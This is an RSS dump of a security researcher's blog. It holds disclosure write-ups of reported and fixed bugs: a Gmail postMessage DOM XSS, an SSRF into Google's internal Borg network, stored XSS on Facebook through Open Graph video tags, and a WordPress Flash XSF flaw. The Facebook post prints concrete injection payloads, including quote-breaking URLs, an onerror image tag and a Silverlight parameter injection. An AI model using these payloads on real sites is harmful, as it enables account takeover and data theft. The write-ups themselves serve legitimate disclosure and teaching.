OpnSec Open mind Security and Crypto! Fri, 30 Jul 2021 20:07:09 +0000 en-US hourly 1 https://wordpress.org/?v=6.0.11 /wp-content/uploads/2017/08/cropped-opnsec-32x32.png OpnSec 32 32 250189475 DOM XSS in Gmail with a little help from Chrome /2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome/?utm_source=rss&utm_medium=rss&utm_campaign=dom-xss-in-gmail-with-a-little-help-from-chrome /2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome/#comments Sun, 03 May 2020 06:04:09 +0000 /?p=382 Read More]]> How to use browser features to help find DOM XSS.

The invisible Messages of Gmail

Last year, I looked for DOM XSS in Gmail website. Instead of using url params or the emails themselves as the source of the attack, I decided to use the much more discreet yet ubiquitous postMessage api.  At first glance, the Gmail inbox seems a simple webpage, but if you go through the looking glass, it’s actually a dozen of different webpages (or iframes) communicating between each others.

My first task was to make the cross-frames messages visible. This is not a native feature in DevTools yet. Instead, you can use this simple postMessage logger extension. After reloading, the console is now overwhelmed with frame to frame messages going back and forth.

Each message has a target (the frame which receives the message), a source (the frame which sent the message), an origin (the domain of the source) and the data, which can be a string or a JSON object (or any kind of object that will be cloned in the process). Messages can be sent by any frame to another, even from different domain and even from different tab if the source has a reference to the target, with window.opener, window.open() and window.frames.

The target receives the message using

addEventListener("message", function(message){/* handle message here */})
like in the extension.

If there are too many messages, you can customize the extension to filter messages by any of their property. I was looking for interesting messages and one message in particular contained an url in the data:

This message is sent by “hangouts.google.com” to “mail.google.com” . Not only is there a url in the message data, but the url contains the word “frame”. interesting…

The browser Toolbox

I went to the network tab of DevTools and filtered the requests by type “doc” which means “top window url and iframes src”. The same url was there:

I could also confirm that the request referrer was “mail.google.com” which was a good sign since it’s the domain that received the Message. The value in red circle is the initiator of the request, the JS code that loaded the iframe. You can click on it and it brings you directly to the corresponding code in the source tab. Unminify the code, set a breakpoint, reload and the breakpoint is hit:

And voila! The function that triggers the request is appendChild(). This is pretty much all we can understand from the code which is unreadable. But with the magic of the debugger we can confirm that the argument contains an iframe with the src set to the url. If you click on the functions in the Call Stack on the right, you can navigate through the “control flow” of the program and understand its logic.

For example, here is how the message is received by the frame:

You can even see the code where the source of the message sent it:

There are dozens of functions between the listener and the loading of the url, across multiple files and thousands of lines of code. It is not uncommon that the browser freezes, breaks or skips breakpoint when you debug such heavy webpages, it’s a matter of trial and error! 😉

I tried to send a message to the frame from the console with the same data but with “javascript:alert(1)” instead of the url. I didn’t got an alertbox, but a CSP error message.

Thankfully, this CSP rule wasn’t enforced by IE11 and Edge (at the time) so I was able to trigger the alertbox on those browsers. There was no check on the origin of the message. A simple attack scenario is to start from the attacker webpage, open a new tab to Gmail and inject the payload in the Gmail tab using postMessage. The Gmail tab loads the javascript iframe and the attacker has arbitrary code execution on the victim’s Gmail page, which means it can read and send emails, change password of accounts registered to this email etc…

The random Channel Name

There was still one issue: with so much communication between so many frames, it is easy to get confused, so messages usually have a channel name. The name is a random 6 char generated by “mail.google.com” and transmitted in the first message to “hangouts.google.com”. In all following messages that it receives, “hangouts.google.com” checks if it contains the correct channel name, and if not it doesn’t process the message.

The attacker doesn’t know the channel name, and 6 alphanumeric is too much possibilities to try all.
The random generator is “Math.random()” which is not secure and has been exploited in the past by a Google engineer to find an XSS in Facebook! 🙂 However the technique required the state of the random generator to be shared between cross-domain tabs which is not the case anymore.
The third solution is to load an iframe controlled by the attacker in the hierarchy of frames in the Gmail tab. Because of the way cross-domain redirection of iframes works in the browser, the fact that Gmail X-Frame-Options header is “SAMEORIGIN” and that the messages were sent with the argument targetOrigin “*”, it would then be possible to intercept the channel name and execute the XSS.

Conclusion

I couldn’t find an easy way to load an iframe inside Gmail, but with all this I was confident enough to send a report to Google VRP and after a few days I received the “Nice Catch” answer and reward. Google fixed it by adding check on the origin of the message containing the url. The XSS doesn’t work anymore, but the message is still sent if you want to check.

Browsers have all the cool features to navigate complex code, and for the features that are still missing, you can build you own extensions easily. With that, good hunting! 🙂

 

]]>
/2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome/feed/ 8 382
Into the Borg – SSRF inside Google production network /2018/07/into-the-borg-ssrf-inside-google-production-network/?utm_source=rss&utm_medium=rss&utm_campaign=into-the-borg-ssrf-inside-google-production-network /2018/07/into-the-borg-ssrf-inside-google-production-network/#comments Fri, 20 Jul 2018 14:51:40 +0000 /?p=317 Read More]]> Borglet status monitor

Intro – Testing Google Sites and Google Caja

In March 2018, I reported an XSS in Google Caja, a tool to securely embed arbitrary html/javascript in a webpage.
In May 2018, after the XSS was fixed, I realised that Google Sites was using an unpatched version of Google Caja, so I looked if it was vulnerable to the XSS. However, the XSS wasn’t exploitable there.

Google Caja parses html/javascript and modifies it to remove any javascript sensitive content, such as iframe or object tags and javascript sensitive properties such as document.cookie. Caja mostly parses and sanitizes HTML tags on the client side. However, for remote javascript tag (<script src=”xxx”>), the remote resource was fetched, parsed and sanitized on the server-side.
I tried to host a javascript file on my server (https://[attacker].com/script.js) and check if the Google Sites server would fall for the XSS when parsed server-side but the server replied that https://[attacker].com/script.js was not accessible.

After a few tests, I realised that the Google Sites Caja server would only fetch Google-owned resources like https://www.google.com or https://www.gstatic.com, but not any external resource like https://www.facebook.com.
That’s a strange behavior because this functionality is meant to fetch external resources so it looks like a broken feature. More interestingly, it is hard to determine whether an arbitrary URL belongs to Google or not, given the breadth of Google services. Unless…

 

Finding an SSRF in Google

Whenever I find an endpoint that fetches arbitrary content server-side, I always test for SSRF. I did it a hundred times on Google services but never had any luck. Anyway the only explanation for the weird behavior of the Google Caja server was that the fetching was happening on the internal Google network and that is why it could only fetch Google-owned resources but not external resources. I already knew this was a bug, now the question was whether it was a security bug!

It’s very easy to host and run arbitrary code on Google servers, use Google Cloud services! I created a Google App Engine instance and hosted a javascript file. I then used the URL of this javascript file on Google Sites as a external script resource and updated the Google Sites page. The javascript was successfully fetched and parsed by Google Caja server. I then checked my Google App Engine instance logs to see from where the resource was fetched and it came from 10.x.x.201, a private network IP! This looked very promising.

I used the private IP as the url for the Google Sites javascript external resource and waited for the moment of truth. The request took more than 30 seconds to complete and at that time I really thought the request was blocked and I almost closed the page since I never had any luck with SSRF on Google before. However, when Google Caja replied, I saw that the reply size wasn’t around 1 KB like for a typical error message but 1 MB instead! One million bytes of information coming from a 10.x.x.x IP from Google internal network, I can tell you I was excited at this point! 🙂
I opened the file and indeed it was full of private information from Google! \o/

 

Google, from the inside

First I want to say that I didn’t scan Google’s internal network. I only made 3 requests in the network to confirm the vulnerability and immediately sent a report to Google VRP. It took 48 hours to Google to fix the issue (I reported it on a Saturday), so in the meantime I couldn’t help but test 2-3 more requests to try to pivot the SSRF vulnerability into unrestricted file access or RCE but without luck.

Architecture of Borg

The first request was to http://10.x.x.201/. It responded with a server status monitoring page of a “Borglet”. After a Google search, I could confirm that I was indeed inside Borg, Google’s internal large-scale cluster management system (here is a overview of the architecture). Google have open sourced the successor of Borg, Kubernetes in 2014. It seems that while Kubernetes is getting more and more popular, Google is still relying on Borg for its internal production infrastructure, but I can tell you it’s not because of the design of Borg interfaces! (edit: this is intended as a joke 😛 )
The second request was to http://10.x.x.1/ and it was also a monitoring page for another Borglet. The third request was http://10.x.x.1/getstatus, a different status monitoring page of a Borglet with more details on the jobs like permissions, arguments.

Each Borglet represents a machine, a server.

On the hardware side, both servers were using Haswell’s CPU @2.30GHz with 72 cores, which corresponds to a set of 2 or 3 Xeon E5 v3. Both servers were using the CPUs at 77%. They had 250GB of RAM, which was used at 70%. They had 1 HDD each with 2TB and no SSD. The HDD were almost empty with only 15GB used, so the data is stored elsewhere.

The processing jobs (alloc and tasks) are very diverse, I believe this optimizes ressource usage with some jobs using memory, others using CPU, network, some with high priority, etc… Some services seem very active : Video encoding, Gmail and Ads. That should not be surprising since video processing is very heavy, Gmail is one of the main Google services and Ads is, well, Google’s core business. 😉
I didn’t see Google Sites or Caja in the jobs list, so either the SSRF was going through a proxy or the Borglet on 10.x.x.201 was from a different network than the 10.x.x.201 IP I saw in my Google App Engine instance logs.

Regarding the architecture, we can find jobs related to almost all of the components of the Google Stack, in particular MapReduce, BitTable, Flume, GFS…
On the technology side, Java seems to be heavily used. I didn’t see any mention of Python, C++, NodeJS or Go, but that doesn’t mean it wasn’t used so don’t draw conclusions. 😛
I should mention that Borg, like Kubernetes, relies on containers like Docker, and VMs. For video processing, it seems they are using Gvisor, a Google open-source tool that looks like a trade-off between containers performance and VMs security.

Parameters gives some information on how to reach the applications through network ports. On Borg, it seems that all applications on a server share the same IP address and each has some dedicated ports.

Apps arguments were the most fun part for me because it is almost code. I didn’t find Google Search secret algorithm but there was some cool queries like this:

MSCR(M(Customer.AdGroupCriterion+Customer.AdGroupCriterion-marshal+FilterDurianAdGroupCriterion+FilterNeedReviewAdGroupCriterion+GroupAdGroupCriterionByAdGroupKey+JoinAdGroupData/MakeUnionTable:3)+M(JoinAdGroupData/MakeUnionTable:2)+M(Customer.AdGroup+Customer.AdGroup-marshal+FilterDurianAdGroup+ParDo(AdGroupDataStripFieldsFn)+JoinAdGroupData/MakeUnionTable)+R(JoinAdGroupData/GroupUnionTables+JoinAdGroupData/ConstructJoinResults+JoinAdGroupData/ExtractTuples+ExtractCreativeAndKeywordReviewables))

If you wonder what’s Gmail system user, it’s

gmail@prod.google.com
There is also a user “legal-discovery@prod.google.com” that has permission “auth.impersonation.impersonateNormalUser” on “mdb:all-person-users”. (edit: for clarification, I just saw these strings close to each other in a big array and assumed that’s what it meant)

There was also a little bit of history which showed that most jobs where aborted before finishing.

At last, there was a lot of url to other servers or applications endpoints. In particular, I tried to access a promising-looking http://wiki/ url but it didn’t work. I tested a

/getFile?FileName=/sys/borglet/borglet.INFO
url but got an unauthorized response. I also tried to change the FileName parameter but got error messages.

 

Google VRP response

I reported the issue on Saturday May 12, 2018, and it was automatically triaged as a P3 (medium priority) issue. On Sunday I sent an email to Google Security that they might want someone to have a look at this. On Monday morning the issue was escalated to P0 (critical) then later decreased to P1. On Monday night the vulnerable endpoint was removed and the issue fixed.

It’s not easy to determine the impact of an SSRF because it really depends on what’s in the internal network. Google tends to keep most of its infrastructure available internally and uses a lot of web endpoints, which means that in case of a SSRF, an attacker could potentially access hundreds if not thousands of internal web applications. On the other hand, Google heavily relies on authentication to access resources which limits the impact of a SSRF.
In this case, the Borglet status monitoring page wasn’t authenticated, and it leaked a lot of information about the infrastructure. My understanding is that in Kubernetes, this page is authenticated.

Google VRP rewarded me with $13,337, which corresponds to something like unrestricted file access! They explained that while most internal resources would require authentication, they have seen in the past dev or debug handlers giving access to more than just info leaks, so they decided to reward for the maximum potential impact. I’d like to thank them for the bounty and for their quick response.

 

That’s it for this story, I hope you enjoyed it as much I did and feel free to comment!

]]>
/2018/07/into-the-borg-ssrf-inside-google-production-network/feed/ 7 317
Stored XSS on Facebook /2018/03/stored-xss-on-facebook/?utm_source=rss&utm_medium=rss&utm_campaign=stored-xss-on-facebook /2018/03/stored-xss-on-facebook/#comments Sun, 18 Mar 2018 15:41:18 +0000 /?p=242 Read More]]>

tl;dr; Stored XSSes in Facebook wall by embedding an external video with Open Graph.

When a user clicks to play the video, the XSS executes on facebook.com

Introduction

I reported multiple stored XSS on Facebook wall in April 2017. These stored XSS vulnerabilities were also present in WordPress so I waited for WordPress to patch it before publishing this write-up. The vulnerabilities are now fixed on WordPress!

These XSS are a little bit complex because they require multiple steps, but each step by itself is pretty simple to understand.

 

The Open Graph protocol

When you add a URL in a Facebook post, Facebook will use the Open Graph protocol (FB doc) to display rich content.  Here is a summary about how Facebook uses OG to embed external content in a FB post:

 

  1. The attacker posts a URL on a FB post
  2. FB server fetches the URL (server side) and reads the OG meta tags to extract info about the content of the URL (for example the content is a video with a title, a cover image, a video encoding type and a video file URL)
  3. The victim views the FB post with the cover image and a play button
  4. When the victim clicks on the play button, the video loads using the video info extracted from the OG meta tags. This is when the XSS will be executed

 

This OG workflow is also used by many websites including Twitter and WordPress for example.
Step #2 is sensitive: server-side fetching of a user provided URL, which can often lead to SSRF.
Another potential vulnerability is Clickjacking if the hosting website uses X-Frame-Options: SAMEORIGIN on sensitive webpages and let the attacker inject arbitrary iframes on the same subdomain.

FB wasn’t vulnerable to either of these issues.

The interesting part is #4 when FB loads the video after the victim clicks the play button. First, FB will send a XHR request to get the video type and the video file URL, which are both provided by the attacker in the og:video:type (we’ll call it ogVideoType) and the og:video:secure_url (ogVideoUrl) tags of the URL posted by the attacker. Here is a sample of OG meta tags:

<!DOCTYPE html>

<html>

<head>

<meta property="og:video:type" content="video/flv">

<meta property="og:video:secure_url" content='https://example.com/video.flv'>

<meta property="og:video:width" content="718">

<meta property="og:video:height" content="404">

<meta property="og:image" content="https://example.com/cover.jpg">

(...)

</head>

<body>

(...)
</body>

</html>

If ogVideoType is “iframe” or “swf player” then FB loads an external iframe and doesn’t handle the playing of the video. Otherwise, FB was using MediaElement.js to handle the loading of the video directly on facebook.com. I already reported and disclosed vulnerabilities on the Flash component of ME.js on both Facebook and WordPress.

 

1. Stored XSS using FlashMediaElement.swf

MediaElements.js has multiple ways of playing a video depending on ogVideoType.

If ogVideoType is “video/flv” (flash video), Facebook loads the Flash file FlashMediaElement.swf on facebook.com  (using an <embed> tag) and passes the ogVideoUrl to FlashME.swf to play the video. FlashME.swf then sends logs information to facebook.com (using Flash-to-javascript) about events like “video played” or “video ended”. FlashME.swf handled correctly the Flash-to-javascript communication, in particular \ was properly escaped to \\ to avoid XSS.

However, the javascript code sent was :

setTimeout('log("[VIDEO_URL]")', 0)

In javascript setTimeout is similar to eval, it will transform a string into instructions, making it very dangerous

[VIDEO_URL] is controlled by the attacker, it’s the value of ogVideoUrl. If it contains for example

http://evil.com/video.flv?"[payload]
Flash will send the following instruction to javascript:

setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);

As you can see, the in video.flv?\”payload is properly escaped so the attacker cannot escape from the setTimeout function.

However, when javascript executes the setTimeout function, it will execute the following javascript instruction :

log("http://evil.com/video.flv?"[payload]")

And this time is not escaped any more and the attacker can inject XSS!

Now the question is whether Facebook escapes ogVideoUrl before passing it to FlashME.swf.

First, Facebook javascript sends a XHR request to Facebook server to get the value of ogVideoType and ogVideoUrl. The value of ogVideoUrl is correctly encoded but it can contain any special character like

https://evil.com?"'<\

Then, before being sent to Flash, ogVideoUrl was transformed like this :

function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('&quot;') + '">x</a>';
return tempDiv.firstChild.href;
}

flashDiv.innerHTML ='<embed src="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';

The result of absolutizeUrl(ogVideoUrl) is URL encoded before being sent to Flash but when Flash will receive the data it will automatically URL decode it once, so we can ignore the encodeURI instruction.

absolutizeUrl transforms relative URL to absolute URL with the current protocol and domain of the javascript context (and if an absolute URL is provided, it returns it almost unchanged). This seems “hacky” but it seems secure enough and simple because we let the browser do the hard work. But it’s not simple when it comes to special character encoding!

When initially analyzing this code, I was using Firefox, because it had great extensions like Hackbar, Tamper Data and… Firebug!

In Firefox, if you try 

absolutizeUrl('http://evil.com/video.flv#"payload')
it will return 
http://evil.com/video.flv#%22payload
so I was stuck because in Facebook the javascript instruction sent by Flash would be 
setTimeout("log(\"http://evil.com/video.flv?%22payload\")", 0);
which will lead to 
log("http://evil.com/video.flv?%22[payload]")
which is NOT an XSS.

 

And then I tried on Chrome and

absolutizeUrl('http://evil.com/video.flv#"payload')
returned 
http://evil.com/video.flv#"payload
and \o/ YEAH!!!!!

Now Flash sends

setTimeout("log(\"http://evil.com/video.flv?\"payload\")", 0);
to Facebook javascript and which will lead to 
log("http://evil.com/video.flv?"[payload]")

So if ogVideoUrl is set to 

http://evil.com/video.flv#"+alert(document.domain+" XSSed!")+"
then Facebook will execute 
log("http://evil.com/video.flv?"+alert(document.domain+" XSSed!")+"") 
and will display a nice little alert box saying “facebook.com XSSed!” 🙂

The reason of this is that when a browser parses a URL, it will encode special characters differently depending on the browser:

  • Firefox will URLencode any occurence of in the url
  • Chrome, up to version 64, would URLencode EXCEPT in the hash part (= fragment) of the URL (note: in the latest version 65 of Chrome, this behaviour changed and now Chrome behaves like Firefox and will URLencode ” even in the hash part
  • IE and Edge will NOT URLencode in the hash part NOR the search part (= query) of the URL
  • Safari will NOT URLencode in the hash part

As you can see it’s not great to let the browser decide how to encode special characters in URLs in your javascript code!

I reported the vulnerability right away to Facebook and they replied the next day and told me they modified the Flash file so that it doesn’t use setTimeout any more,  the Flash would now send 

log("http://evil.com/video.flv?\"payload")
and as you can see is properly escaped to \” and there is no XSS any more.

 

2. Stored XSS without Flash

The previous XSS required Flash so I checked if I could find another payload without Flash.

If ogVideoType was “video/vimeo”, the following code would execute

ogVideoUrl absolutizeUrl(ogVideoUrl);

ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);

playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl + '?api=1"></iframe>';

As you can see absolutizeUrl(ogURL) is not urlencoded before being injected to playerDiv.innerHTML, so with ogVideoUrl set to

http://evil.com/#" onload="alert(document.domain)"
 playerDiv.innerHTML would be 
<iframe src="https://player.vimeo.com/video/#" onload="alert(document.domain)" ?api=1"></iframe> 

which is again an XSS on facebook.com!

 

I reported this on the same day the previous XSS was fixed and Facebook fixed it again in 1 day like this :

ogVideoUrl absolutizeUrl(ogVideoUrl);

ogVideoUrl = ogVideoUrl.substr(ogVideoUrl.lastIndexOf('/') + 1);

playerDiv.innerHTML = '<iframe src="https://player.vimeo.com/video/' + ogVideoUrl.split('"').join('&quot;') + '?api=1"></iframe>'

Here is a video of this XSS in action :

 

 

The next day, I found another vulnerable endpoint: when ogVideoType was something unknown, like “video/nothing”, Facebook would display an error message with a link to ogVideoUrl like this:

errorDiv.innerHTML = '<a href="' +absolutizeUrl(ogVideoUrl ) + '">'

So with the ogVideoUrl payload 

/#"><img/src="xxx"onerror="alert(document.domain)
 errorDiv.innerHTML would be 
<a href="/#"><img src="xxx" onerror="alert(document.domain)">

 

I reported it to Facebook and, funny enough, Neil from Facebook WhiteHat told me he was planning to check this code the next day!

 

3. Oh, and one more thing…

Another possible ogVideoType was “silverlight”. Silverlight is a browser plugin by Microsoft and is to Flash what VBscript was to javascript.

The silverlight file hosted on Facebook (silverlightmediaelement.xap) was loaded like this:

params = ["file=" + ogVideoUrl, "id=playerID"];

silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="' + params.join(',').split('"').join('&quot;') + '" /></object>';

silverlightmediaelement.xap would then send log information to Facebook javascript a little bit like the Flash file did, but this time it didn’t contain ogVideoUrl but only the player id, which is another parameter sent in initParams and defined by Facebook. Silverlight would call the javascript function [id]_init() where [id] is “playerID”.

In silverlight, parameters are not separated by & like in urls or in Flash but by ,

If ogVideoUrl contains a , then every thing after this comma will be considered as another parameter by silverlight, which means that using the payload 

/#,id=alert(document.domain)& 
then silverlight be loaded like this:

silverlightDiv.innerHTML ='<object data="data:application/x-silverlight-2," type="application/x-silverlight-2"><param name="initParams" value="file=/#,id=alert(document.domain)&,id=playerID" /></object>'; 

Silverlight will only take into account the first occurence of id and it will set its value to 

alert(document.domain)& 

Silverlight will then call the following javascript : 

alert(document.domain)&_init() 
which means XSS again!

 

I reported it the same day and Neal replied that they would remove all the MediaElement component and replace it with a new way of handling external videos!

 

What about WordPress ?

All this vulnerable code wasn’t developed by Facebook, they used an open source library MediaElementjs which was (and still is) a popular module to embed video in a webpage, especially because they had a Flash fallback for older browsers. In particular, WordPress uses this module by default when handling shortcodes. The vulnerabilities were also present in WordPress and allowed stored XSS in WordPress comments or in WordPress articles written by authors (in WordPress, the Author role isn’t allowed to execute javascript).

I reported the vulnerabilities to WordPress to which I already reported another vulnerability monthes before. They informed MediaElementjs team about this and told me they were working on a fix. On February 2018 they finally released the fix for all the XSS related to MediaElementjs.

 

Conclusion

I learned a lot and had a lot of fun finding these vulnerabilities. I hope you also enjoy it!

Here is some advices :

Open Graph (and alternatives like json-ld) is a great way to display rich external content on a website, but you should be careful about it (think SSRF, XSS and Clickjacking)

Don’t let the browser parse URL for you in your javascript code, each browser handles it his own way and a browser can change its behavior anytime (like Chrome 64 -> 65). Use white-list regex instead.

Complex, dynamic XSSes that use XHR, DOM mutations, and external content will NOT be detected by automatic tools (for now). So even the most secure, high profile website can be vulnerable. Code review and debugging are the way to go for these!

Don’t be afraid of large, minified, dynamic javascript source code. If you spot some potentially dangerous features on a website, you’re free to check how it is implemented!

Facebook WhiteHat is a great Bug Bounty program! Thanks Neal and all the team 🙂

Thanks for reading, and feel free to comment if something isn’t clear.

 

Happy hunting !

]]>
/2018/03/stored-xss-on-facebook/feed/ 2 242
FlashME! – WordPress vulnerability disclosure [CVE-2016-9263] /2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/?utm_source=rss&utm_medium=rss&utm_campaign=flashme-wordpress-vulnerability-disclosure-cve-2016-9263 /2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/#comments Thu, 19 Oct 2017 12:27:10 +0000 /?p=220 Read More]]> Last week, I disclosed the existence of an unpatched Flash vulnerability on WordPress (/2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/). Today, I disclose technical details about this vulnerability. However, contrary to what I announced before, I won’t provide a POC nor enough technical details to allow attackers to exploit it. Responsible disclosure of unpatched vulnerabilities is never easy, and I’m trying to do this right both ethically and legally.

If you want to know more about the type of vulnerability, the impact and how to patch it please refer to /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/.

Technical details

WordPress uses an independent open-source tool to play videos in a webpage, MediaElement.js. ME.js provides a Flash fallback for browsers that don’t support the <video> tag or certain video codecs, using the flash file FlashMediaElement.swf. Vulnerabilities on this file have been reported in the past, like the awesome Flash based XSS found by cure53 https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c.

While investigating the source of this file in summer 2016, one particular instruction catched my attention

Security.allowDomain("www.[XYZ].com");

Note: I changed the real name of the domain to [XYZ].com

Security.allowDomain() can be described as a vulnerable function: using it will downplay the Same-Origin Policy which is the basis of website client-side security. You can read more about Flash security sandbox model here.

This code will allow a Flash file hosted on [XYZ].com to execute code on the FlashMediaElement.swf file, which is hosted on the WordPress site domain. [XYZ].com is a very well established company, so you could safely think that they would not use this privilege to execute malicious code on your website, the same way you would allow Google Analytics or Youtube to run scripts on your website. However, it is not that simple. With Security.allowDomain(“www.[XYZ].com”), you allow not only one specific file hosted on [XYZ].com to access your Flash security sandbox but any Flash file hosted on [XYZ].com.

Quick reminder about Cross-Site Scripting: XSS is the ability to execute arbitrary code (script, in this case Flash ActionScript3) in an external website. Not only a XSS allows you to access private info (like cookies) and private functions (like xhr requests) on the external website, but the arbitrary code will also be considered by the browser (or the Flash player) to be originating from the vulnerable website. This subtlety is what we will exploit here.

The thing is that [XYZ].com is vulnerable itself to XSS, or in this case Cross-Site Flashing. Which means that an attacker can execute arbitrary Flash code that will be considered by the Flash player as being originating from [XYZ].com. This forms a chain of vulnerabilities that will end up with any WordPress website being vulnerable to Cross-Site Flashing. Let’s make a drawing:

 

Facebook was vulnerable, too

A few months after reporting this issue, I was investigating various Flash files on facebook.com. One file contained the following instruction:

Security.allowDomain("www.[XYZ].com");

Facebook was using a file similar to flashmediaelement.swf to embed external videos on Facebook wall. The same vulnerability was present in this file and I was able to create various POC exploits using this vulnerability that would lead to Facebook OAuth bypass and even Facebook account takeover without user interaction.

I reported the issue to Facebook WhiteHat program and Facebook Security Team quickly fixed the issue and generously rewarded me.

Conclusion

This vulnerability is complex because it relies on multiple factors, technologies and companies. However, once an attacker is able to create an exploit, exploiting this vulnerability is easy because all of the requirements are usually present by default on a system. This vulnerability not only affects WordPress websites, but every websites hosted on the same subdomain as a WordPress website.

I hope WordPress will patch this issue soon and that my report will help raise awareness about Chained XSS vulnerabilities. Thanks for reading!

]]>
/2017/10/flashme-wordpress-vulnerability-disclosure-cve-2016-9263/feed/ 3 220
[CVE-2016-9263] XSF vulnerability in WordPress [UPDATED] /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/?utm_source=rss&utm_medium=rss&utm_campaign=cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress /2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/#comments Thu, 12 Oct 2017 14:28:34 +0000 /?p=209 Read More]]>
Please patch this issue on your WordPress websites immediately and ask WordPress to release a patched version before I publicly release technical details about this on Oct 19th 2017

What is the vulnerability ?

There is an unpatched vulnerability in latest and older WordPress releases. The vulnerability is a cross-domain Flash injection (XSF), which impact is similar to a Reflected XSS (or Same-Origin policy bypass).
The vulnerable file is located at /wp-includes/js/mediaelement/flashmediaelement.swf.

Who is affected ?

Any up-to-date or older (for at least 2 years) version of WordPress is vulnerable by default. Every WordPress website is vulnerable to this as well as any other website hosted on the same subdomain as a WordPress website.

The only WordPress websites that are not affected are those where the vulnerable file, flashmediaelement.swf, is hosted on a sandboxed domain. This is the case for sites hosted on wordpress.com for example.

What is the impact ?

The impact is similar to an (authenticated) Reflected XSS, except you can’t manipulate the DOM and read some values like header responses, and the victim must have Flash active. The attacker can send a malicious link that would execute arbitrary Flash code on the WordPress security sandbox. When a victim opens the malicious link, the attacker can perform “xhr style” requests with Flash to any URL in the WordPress domain, using the victim’s cookies. Attacker can then read the response source code (body) and steal the victims private info including any CSRF token. He can use the CSRF token to perform CSRF actions on behalf of the user. In the case of Facebook for example, this led to Facebook account takeover after the victim clicked on the malicious link.

Because this is a Same-Origin policy bypass, the attacker can exploit this not only on the vulnerable WordPress site but also on any website located in the same subdomain (or same Origin) than the vulnerable WordPress site.

How to patch this ?

WordPress decided not to patch this issue for some (bad?) reasons. You should simply remove the vulnerable file at [WordPress_Home_URL]/wp-includes/js/mediaelement/flashmediaelement.swf (which is just a Flash fallback for embed videos not hosted on a streaming website).

Or you can redirect [WordPress_Home_URL]/wp-includes/js/mediaelement/flashmediaelement.swf to a sandboxed domain, for example to https://x0.wp.com/wp-includes/js/mediaelement/flashmediaelement.swf.

Either of these solutions will mitigate this issue.

What is the timeline of this vulnerability report ?

  • Aug 5th 2016: I reported this issue to Automattic, then WordPress private Bug Bounty program, more than a year ago. WordPress contacted the author of the vulnerable code, mediaelement.js (created by John Dyer @johndyer), which provided a patched file very quickly. WordPress decided not to release the patch.
  • Sep 15th 2016: I found that Facebook was using the same vulnerable code, so facebook.com was vulnerable to the same XSF vulnerability (similar to a reflected XSS on facebook.com). I reported it to Facebook which fixed it in 5 days.
  • Nov 11th 2016: I requested a CVE for this to MITRE and was assigned CVE-2016-9263
  • Sep 15th 2017: I informed WordPress Security Team that I was going to publicly disclose CVE-2016-9263
  • Oct 12th 2017: I publicly disclose the issue on my blog without any technical detail but with instructions how to patch.
  • Oct 19th 2017: I will publicly disclose technical details about this vulnerability, including how to exploit it [UPDATE]: Limited technical details are now available here

Why are you publicly disclosing this ?

I reported this issue to WordPress more than a year ago, with a working proof of concept, technical details and how to patch the issue. WordPress choose not to release the patch quickly provided by mediaelement.js team. On the other hand, Facebook patched the issue in 5 days. WordPress obviously has less resource than Facebook but this is not a valid excuse because it is the most used Website software in the world, and the patch has been ready for more than a year. They made a poor decision that endangers their users and many websites.

I already reported this vulnerability to large websites like Uber, Spotify, etc…  for many of which their main website was vulnerable because of this vulnerability in their WordPress site. Many of them patched it themselves. It is possible that this is now exploited as a consequence of the reports I sent to these organisations. I don’t accept that the public is not informed about this vulnerability.

Please patch this issue on your WordPress websites immediately and ask WordPress to release a patched version before I publicly release technical details about this on Oct 19th 2017.

How can I contact you ?

You can find me on twitter (@opnsec). You can also contact me at wordpress /at\ opnsec /dot\ com.

]]>
/2017/10/cve-2016-9263-unpatched-xsf-vulnerability-in-wordpress/feed/ 3 209
Advanced Flash vulnerabilities in Youtube – Part 4 /2017/09/advanced-flash-vulnerabilities-in-youtube-part-4/?utm_source=rss&utm_medium=rss&utm_campaign=advanced-flash-vulnerabilities-in-youtube-part-4 /2017/09/advanced-flash-vulnerabilities-in-youtube-part-4/#comments Wed, 13 Sep 2017 13:51:02 +0000 /?p=188 Read More]]> IV. Flash based XSSes on Youtube iframe api

I’m happy that people found my previous posts on Youtube Flash vulnerabilities interesting, and I will keep posting new write-ups.
This time I will disclose 3 Flash based XSSes on the new Youtube html5 api (with Flash fallback).

Youtube html5 api is called Youtube iframe api, because the entry point is an iframe located at youtube.com/embed/[VIDEO_ID].
When the iframe loads, it will first check if the browser is able to play videos using html5, and if not it will use the Flash fallback. Until recently, it was possible to force the Flash fallback for all browsers using the URL parameter nohtml5=1. This is what we will do here.

Here is the workflow of the Youtube iframe api with Flash fallback:

If you compare with the workflow of the Youtube Flash api in part 1, the Flash file “Youtube Wrapper” has been replaced by the iframe “Youtube Embed”, and consequently Flash to javascript api has been replaced by postMessage api and sharedEvent api has been replaced by Flash to javascript api. This should give you a sense of how Flash and javascript are very similar, only the implementation is different.

Youtube Flash api and Youtube iframe api are so similar that Firefox , Chrome and Safari have implemented an interesting/weird behaviour where any <object data=”youtube.com/v/[VIDEO_ID]”> (Youtube Flash api) will be automatically replaced by <object data=”youtube.com/embed/[VIDEO_ID]”>(Youtube iframe api) where the <object> will actually behave as an iframe. The objective is to force old websites to switch to Youtube iframe api without making any change in the websites themselves.

To trigger a Flash based XSS on youtube.com, you have to either load a Flash file located at youtube.com directly from the address bar, or exploit any Flash file embed in a html page located at youtube.com. Here we will exploit the Flash file “Main App” which is embed in youtube.com/embed, and from there we will execute arbitrary javascript on youtube.com/embed.
